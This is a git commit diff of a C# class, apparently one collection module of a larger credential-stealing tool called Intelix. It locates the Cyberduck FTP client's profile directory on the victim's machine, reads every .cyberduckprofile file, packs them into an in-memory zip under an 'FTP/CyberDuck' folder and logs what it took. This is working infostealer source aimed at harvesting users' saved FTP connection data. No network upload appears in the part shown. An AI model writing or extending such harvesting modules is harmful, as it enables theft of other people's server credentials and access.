initial commit

This commit is contained in:
i2p
2026-08-27 10:55:23 -06:00
commit d03dc0bce1
356 changed files with 18535 additions and 0 deletions
+30
View File
@@ -0,0 +1,30 @@
using System;
using System.IO;
using Intelix.Helper.Data;
namespace Intelix.Targets.Applications;
public class CyberDuck : ITarget
{
public void Collect(InMemoryZip zip, Counter counter)
{
string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Cyberduck", "Profiles");
if (!Directory.Exists(path))
{
return;
}
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
counterApplications.Name = "CyberDuck";
string[] files = Directory.GetFiles(path);
foreach (string text in files)
{
if (text.EndsWith(".cyberduckprofile"))
{
string text2 = "FTP/CyberDuck/" + Path.GetFileName(text);
zip.AddFile(text2, File.ReadAllBytes(text));
counterApplications.Files.Add(text + " => " + text2);
}
}
counter.Applications.Add(counterApplications);
}
}